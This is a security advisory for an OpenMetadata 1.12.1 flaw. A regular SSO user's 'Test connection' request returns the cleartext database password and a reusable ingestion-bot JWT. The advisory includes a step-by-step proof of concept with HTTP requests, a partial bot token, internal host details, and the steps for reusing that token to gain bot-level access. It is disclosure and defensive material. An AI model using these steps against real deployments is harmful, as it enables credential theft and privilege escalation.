CVE-2026-46481

Description

**This is not applicable if an application is configuring the Secrets Store to store credentials. Please make sure to follow the best practices when deploying in production** In OpenMetadata 1.12.1, a non-admin SSO user can trigger a `TEST_CONNECTION` workflow for a Database Service and receive, in the HTTP 201 response of `POST /api/v1/automations/workflows`, both: - The cleartext database password in `request.connection.config.password`. - The ingestion bot JWT in `openMetadataServerConnection.securityConfig.jwtToken`. The leaked ingestion-bot token can then be reused as `Authorization: Bearer <jwt>` to access sensitive service APIs (for example, `GET /api/v1/services/databaseServices/{id}?include=all`) with bot-level privileges. This looks different from GHSA-pqqf-7hxm-rj5r, because it affects the `automations/workflows` TEST_CONNECTION endpoint on OpenMetadata 1.12.1, not the ingestion pipelines endpoints. --- Version / Product - Product: OpenMetadata (open source, Apache 2.0) - Version: 1.12.1 - GET /api/v1/system/version → {"version":"1.12.1","revision":"618a2dc2ec8f70ffcd0378ee14ce92cb4f98f0c5"} - Deployment: OpenMetadata server with SSO via Azure AD (OAuth), Oracle database service, secrets in DB secrets manager (`secretsManagerProvider: "db"`). --- Preconditions - Authenticated SSO user with access to the UI. - User can open a Database Service and click “Test connection”. - No server admin role, no shell/DB access. --- PoC (short) 1) Login as a regular SSO user. 2) In the UI go to: Settings → Services → Database Services → utplrac_scan2_srvetel Open the connection tab and click “Test connection”. 3) The browser sends: POST /api/v1/automations/workflows HTTP/1.1 Host: catalogodatos-test.utpl.edu.ec Authorization: Bearer <Azure_AD_user_JWT> Content-Type: application/json { "name": "test-connection-Oracle-XXXX", "workflowType": "TEST_CONNECTION", "request": { "connection": { "config": { "type": "Oracle", "scheme": "oracle+cx_oracle", "username": "qpro_gobierno_datos", "password": "********", "hostPort": "172.16.54.32:1521", ... } }, "serviceType": "Database", "connectionType": "Oracle", "serviceName": "utplrac_scan2_srvetel" } } Note: in the request the password is masked as "********". 4) The server responds with HTTP 201 and a body similar to: { "id": "5acd06f0-0db6-43b9-b0e0-e1574479bba7", "workflowType": "TEST_CONNECTION", "request": { "connection": { "config": { "type": "Oracle", "scheme": "oracle+cx_oracle", "username": "qpro_gobierno_datos", "password": "<REAL_PASSWORD_HERE>", "hostPort": "172.16.54.32:1521", ... } }, "serviceType": "Database", "connectionType": "Oracle", "serviceName": "utplrac_scan2_srvetel", "secretsManagerProvider": "db" }, "openMetadataServerConnection": { "type": "OpenMetadata", "hostPort": "http://openmetadata-server:8585/api", "authProvider": "openmetadata", "securityConfig": { "jwtToken": "eyJraWQiOiJHYjM4OWEtOWY3Ni1nZGpzLWE5MmotMDI0MmJrOTQzNTYiLCJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJvcGVuLW1ldGFkYXRhLm9yZyIsInN1YiI6ImluZ2VzdGlvbi1ib3QiLCJyb2xlcyI6WyJJbmdlc3Rpb25Cb3RSb2xlIl0sImVtYWlsIjoiaW5nZXN0aW9uLWJvdEBvcGVuLW1ldGFkYXRhLm9yZyIsImlzQm90Ijp0cnVlLCJ0b2tlblR5cGUiOiJCT1QiLCJ1c2VybmFtZSI6ImluZ2VzdGlvbi1ib3QiLCJwcmVmZXJyZWRfdXNlcm5hbWUiOiJpbmdlc3Rpb24tYm90IiwiaWF0IjoxNzc0MDI2Nzg3LCJleHAiOjE3ODE4MDI3ODd9.DHLw4s..." }, ... }, "updatedBy": "<regular_user>", ... } Key points: - request.connection.config.password now contains the real Oracle DB password in cleartext. - openMetadataServerConnection.securityConfig.jwtToken contains a valid JWT for the ingestion-bot account (sub = "ingestion-bot", tokenType = "BOT"). 5) Reuse the leaked ingestion-bot JWT: GET /api/v1/services/databaseServices/f0382c0b-149e-4ca5-8844-d636c3437b9d?include=all HTTP/1.1 Host: catalogodatos-test.utpl.edu.ec Authorization: Bearer <leaked_ingestion-bot_JWT> Accept: application/json The API returns the full database service including username and password, confirming bot-level access. --- Impact / Severity - Any user who can run “Test connection” on a database service can: - Recover the cleartext DB credentials. - Recover a long‑lived ingestion-bot JWT. - Act as ingestion-bot against the OpenMetadata API and access/modify services and metadata. ** <img width="1256" height="653" alt="LOWLEVELTOKEN" src="https://github.com/user-attachments/assets/e5b45edb-be51-493a-b4d0-25175cdf7cbc" /> <img width="194" height="339" alt="USERROL" src="https://github.com/user-attachments/assets/04005616-4c7b-4b27-90f6-a8e1a974712b" /> <img width="972" height="389" alt="CLEARPOC" src="https://github.com/user-attachments/assets/fdb26b59-782e-4a6b-a595-cdfb7ea68984" />**

Affected packages (1)

• Maven/org.open-metadata:openmetadata-servicefrom 0, < 1.12.4

CVSS scores

References (2)

• PATCHhttps://github.com/open-metadata/OpenMetadata
• WEBhttps://github.com/open-metadata/OpenMetadata/security/advisories/GHSA-9vmh-whc4-7phg